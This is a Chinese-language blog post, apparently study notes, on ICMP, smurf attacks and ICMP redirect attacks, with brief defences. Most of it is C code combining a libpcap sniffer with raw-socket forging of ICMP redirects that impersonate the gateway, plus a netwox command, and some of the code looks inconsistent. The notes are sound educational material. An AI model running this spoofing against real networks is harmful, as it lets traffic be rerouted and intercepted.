zoukankan      html  css  js  c++  java
  • ICMP和重定向攻击

    ICMP数据报格式

    https://zhuanlan.zhihu.com/p/58662573
    头部type,code,checksum ,4字节,扩展字段,4字节
    icmp作为数据部分封装到ip数据报中
    IPv4中的常用type,ipv6与之不同

    • 0:Echo Reply 回显应答,返回数据 ping
    • 3:Destination Unreachable 不可达
    • 5:Redirect (change route) 重定向
    • 8:Echo Request 回显请求,ping
    • 11:time Exceeded for a Datagram,超时
        struct icmp
        {
        u_int8_t icmp_type; /* type of message, see below */
        u_int8_t icmp_code; /* type sub code */
        u_int16_t icmp_cksum; /* ones complement checksum of struct tcp、icmp是全部的校验和,ip的只有头部*/
        union
        {
        u_char ih_pptr; /* ICMP_PARAMPROB */
        struct in_addr ih_gwaddr; /* gateway address */
        struct ih_idseq /* echo datagram */
        {
        u_int16_t icd_id;
        u_int16_t icd_seq;
        } ih_idseq;
        u_int32_t ih_void;
    

    smurf攻击

    冒充target ip 广播icmp回显请求,target会收到大量icmp回显回复,从而忙于处理icmp而拒绝服务。
    如何防御?
    使主机或路由器不响应ICMP请求或广播,或使路由器不转发目的是广播地址的数据包

    ICMP重定向攻击

    代码:icmpRedirect.c
    重定向:若路由器收到一个数据报,并发现该数据报存在一个比自己更好的下一跳路由,就会向主机发送重定向报文,让其更新转发表。
    重定向只支持对单个目标主机的重定向,所以不会改变路由表,但可以改变route cache, netstate -rn --cache。
    在这里插入图片描述

    sudo netwox 86 -g new_gateway_ip -i old_gateway_ip
    也可以通过raw socket编程,手动实现重定向。

    如何防御:使用防火墙过滤icmp或手动关闭icmp redirect

    基于libpcap的sniffer

    头文件 pcap.h
    基于libpcap,编译时加入 -lpcap
    编程步骤:

    • 查找设备
    • 打开设备,获得一个把手(handle是系统提供的一个用于交互的接口)
    • 设置、应用filter
    • 抓包,pcap_next (只抓一 次) , pcap_loop (循环)
    • 分析数据包
    • 结束
    	char errBuf[PCAP_ERRBUF_SIZE], * devStr;
        /* 查找设备 */
        devStr = pcap_lookupdev(errBuf);
        /*捕获数据
        * 参数:设备名称,最大捕获量(字节),是否置于混杂模式(混杂即捕获设备收发的所有数据),超时时间(0表示没有超时等待),错误信息
        */
        pcap_t * handle = pcap_open_live(devStr, 65535, 1, 0, errBuf);    
        struct bpf_program filter;
        char filterstr[50]={0};
        sprintf(filterstr,"src host %s",Vic_IP); //将ip写入filterstr缓冲区
    
        //编译filter
        //参数:filter过滤器指针;filterstr过滤表达式; 1:表达式是否被优化;0:应用此过滤器的掩码
        if (pcap_compile(handle, &filter, filterstr, 1, 0) == -1) {
    		 fprintf(stderr, "Couldn't parse filter %s: %s
    ", filter_exp, pcap_geterr(handle));
    		 return 0;
    	 }
         //启用过滤器
         if (pcap_setfilter(handle, &filter) == -1) {
             fprintf(stderr, "Couldn't install filter %s: %s
    ", filter_exp, pcap_geterr(handle));
             return 0;
         }
        //循环抓包
        //-1表示循环次数,getPacket是回调函数,用于解析数据包,最后参数一般置为null
        pcap_loop(handle, -1, getPacket, NULL);
        //结束
    	pcap_freecode(&fp);
        pcap_close(handle);
    

    raw socket

    参考https://zhuanlan.zhihu.com/p/59296026
    头文件: #include <sys/socket.h> #include <netinet/in.h>
    套接字(socket)允许在相同/不同的机器上的两个进程通信。基于VFS,是一种对多种协议提供支持的抽象。 位于网络协议栈和应用层之间。

    • socket(AF_INET, 类型,协议)
      AF_INET/PF_INET,表示从inet层(IP)开始,AF_PACKET表示从ETHERNET曾开始
      类型:STREAM对应TCP, DATAGRAM对应UDP, SOCK_RAW,原始套接字,只有它才允许手动填写对应协议的数据包。
      协议:IPPROTO_ICMP,IPPROTO_UDP,IPPROTO_IP,IPPROTO_RAW(可手动修改ip头)等,定义在netinet/in.h

    • sockaddr是对多种类型地址的抽象,编程时先用sockaddr_in写好,使用时强制转换为sockaddr

    struct sockaddr {
    	unsigned short sa_family; //AF_INET(IP)
    	char sa_data[14];//端口号+IP地址
    };
    struct sockaddr_in {
    	short int sin_family; //AF_INET(IP)
    	unsigned short int sin_port; //网络字节序
    	struct in_addr sin_addr;
    	unsigned char sin_zero[8];//0
    };
    //inet_aton("200.200.200.200", &myaddr.sin_addr.s_addr);
    struct in_addr {
    	unsigned long s_addr;//32位的IP地址,网络字节序
    };
    

    网络字节序,大端存储,高字节存在低地址
    htons() Host to Network Short,port
    htonl() Host to Network Long,ip
    ntohl() Network to Host Long
    ntohs() Network to Host Short

    	//用struct sockaddr_in定义地址
    	struct sockaddr_in myaddr;
    	int s;	
    	myaddr.sin_family = AF_INET;
    	myaddr.sin_port = htons(3456);
    	inet_aton("200.200.200.200", &myaddr.sin_addr.s_addr);	
    	s = socket(PF_INET, SOCK_STREAM, 0);
    	//使用时,用struct sockaddr*强制类型转换
    	bind(s, (struct sockaddr*)myaddr, sizeof(myaddr));
    

    定义包头

    剥洋葱法,如以太网帧头+IP头+TCP头+TCP数据,使用强制类型转换获取需要的数据
    头文件

    #include <net/ethernet.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    
    /* Ethernet header */
    struct ethernet_header{
            u_int8_t  ether_dhost[ETHER_ADDR_LEN];    /* destination host address */
            u_int8_t  ether_shost[ETHER_ADDR_LEN];    /* source host address */
            u_int16_t ether_type;                     /* IP? ARP? RARP? etc */
    };
    
    /* IP header */
    struct ip_header  
    {  
    #ifdef WORDS_BIGENDIAN  
      u_int8_t ip_version:4;  
      u_int8_t ip_header_length:4;  
    #else  
      u_int8_t ip_header_length:4;  
      u_int8_t ip_version:4;  
    #endif  
      u_int8_t ip_tos;  
      u_int16_t ip_length;  
      u_int16_t ip_id;  
      u_int16_t ip_off;  
      u_int8_t ip_ttl;  
      u_int8_t ip_protocol;  
      u_int16_t ip_checksum;  
      struct in_addr ip_source_address;  
      struct in_addr ip_destination_address;  
    };  
    #define IP_HL(ip)               (((ip)->ip_vhl) & 0x0f)
    #define IP_V(ip)                (((ip)->ip_vhl) >> 4)
    
    /* TCP header */
    typedef u_int16_t tcp_seq;
    
    struct tcp_header{
            u_int16_t th_sport;               /* source port */
            u_int16_t th_dport;               /* destination port */
            tcp_seq th_seq;                 /* sequence number */
            tcp_seq th_ack;                 /* acknowledgement number */
            u_int8_t  th_offx2;               /* data offset, rsvd */
    #define TH_OFF(th)      (((th)->th_offx2 & 0xf0) >> 4)
            u_int8_t  th_flags;
            #define TH_FIN  0x01
            #define TH_SYN  0x02
            #define TH_RST  0x04
            #define TH_PUSH 0x08
            #define TH_ACK  0x10
            #define TH_URG  0x20
            #define TH_ECE  0x40
            #define TH_CWR  0x80
            #define TH_FLAGS        (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
            u_int16_t th_win;                 /* window */
            u_int16_t th_sum;                 /* checksum */
            u_int16_t th_urp;                 /* urgent pointer */
    };
    
    /*icmp*/
    struct icmp_header  
    {  
      u_int8_t icmp_type;  
      u_int8_t icmp_code;  
      u_int16_t icmp_checksum;  
      struct in_addr icmp_gateway_addr;
    
      //u_int16_t icmp_identifier;  
      //u_int16_t icmp_sequence;  
    };  
    
    /* ethernet headers are always exactly 14 bytes [1] */
    #define SIZE_ETHERNET 14
    /* Ethernet addresses are 6 bytes */
    #define ETHER_ADDR_LEN	6
    

    解析数据包

    void getPacket(u_int8_t * arg, const struct pcap_pkthdr * pkthdr, const u_int8_t * packet) 
    {
        static int count = 1;   //计数
       	int sockfd,res;
        int one = 1;
        int *ptr_one = &one;
    
        /* 包头 */
    	const struct ethernet_header *ethernet;  /* The ethernet header [1] */
    	const struct ip_header *ip;              /* The IP header */
    	const struct tcp_header *tcp;            /* The TCP header */
    	const char *payload;                    /* Packet payload */
    
        int ipHeaderLen;
    	int tcpHeaderLen;
        printf("
    Packet number %d:
    ", count++);
        printf("Packet length: %d
    ", pkthdr->len);
    
        /* define ethernet header */
    	ethernet = (struct ethernet_header*)(packet);
    	/* ip header */   
    	ip = (struct ip_header*)(packet + SIZE_ETHERNET); 
    	ipHeaderLen = (ip->ip_header_length)*4;  //IP头长度的单位是4字节
    	if (ipHeaderLen < 20) {
    		printf("   * Invalid IP header length: %u bytes
    ", size_ip);
    		return;
    	}
    	/* print source and destination IP addresses */
    	printf("       From: %s
    ", inet_ntoa(ip->ip_source_address)); 
    	printf("         To: %s
    ", inet_ntoa(ip->ip_destination_address));
    	/*//tcpHeaderLen = (struct tcp_header*)(packet + SIZE_ETHERNET+ipHeaderLen); 
    	if(tcpHeaderLen<20)
    	{
    		printf("   * Invalid TCP header length: %u bytes
    ", size_ip);
    		return;
    	}*/
    	//创建raw socket,手动填充icmp部分
    	if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
            {
                printf("create sockfd error
    ");
                exit(-1);
            }
    	 //开启IP_HDRINCL选项,手动填充IP头
        res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one));   
        if(res < 0)
        {
            printf("error--
    ");
            exit(-3);
        }
        //重定向攻击
        icmp_redirect(sockfd,ip_packet);
        close(sockfd);	
        return;
    }
    

    重定向

    /*重定向攻击*/
    void icmpRedirect(int sockfd,const unsigned char * packet_data){
    	struct ip_header *ip;
        struct icmp_header *icmp;
        //设定好数据报:ip头,icmp头,icmp数据
    	struct packet_struct
    	{
    		struct iphdr ip;
    		struct icmphdr icmp;
    		char datas[28];
        }packet;
    
    	//ip头 20字节
        packet.ip.version = 4;
        packet.ip.ihl = 5;
        packet.ip.tos = 0;  //服务类型
        packet.ip.tot_len = htons(56);  //host to short 56=20+8+28
        packet.ip.id = getpid();
        packet.ip.frag_off = 0;
        packet.ip.ttl = 255;
        packet.ip.protocol = IPPROTO_ICMP;
        packet.ip.check = 0;
        packet.ip.saddr = inet_addr(Ori_Gw_IP); //伪造网关发送ip报文
        packet.ip.daddr = inet_addr(Vic_IP);    //把重定向包发给受害者
        
        //icmp头 8字节
        packet.icmp.type = ICMP_REDIRECT;//5
        packet.icmp.code = ICMP_REDIR_HOST;//0
        packet.icmp.checksum = 0;
        packet.icmp.un.gateway = inet_addr(Redic_IP);
        struct sockaddr_in dest =  {
            .sin_family = AF_INET,
            .sin_addr = {
            .s_addr = inet_addr(Vic_IP)
            }
        };
        //将抓到的IP包的前28字节 ,作为icmp数据
        memcpy(packet.datas,(packet_data + SIZE_ETHERNET),28);
        packet.ip.check = checksum(&packet.ip,sizeof(packet.ip));
        packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+28);
        
        //sendto用于非可靠连接的数据数据发送,如UDP, 接收数据用recvfrom  
        sendto(sockfd,&packet,56,0,(struct sockaddr *)&dest,sizeof(dest));
        printf("send icmp redirect
    ");
    }
    

    参考:
    https://zhuanlan.zhihu.com/p/59161220
    《TCP/IP详解》
    《UNIX网络编程》

  • 相关阅读:
    16.小程序request请求
    15.小程序接入百度地图获取地理位置
    14. 微信小程序之wxss
    13.小程序视图层的模板
    es6字符串几个方法的理解
    记一次仿京东首页的轮播图效果
    ES6中Promise使用方法
    关于新版VS编辑环境下提示fopen不安全的问题报C4996错误的解决办法
    css布局拓展
    HTML的表单元素
  • 原文地址:https://www.cnblogs.com/chzhyang/p/11360066.html
Copyright © 2011-2022 走看看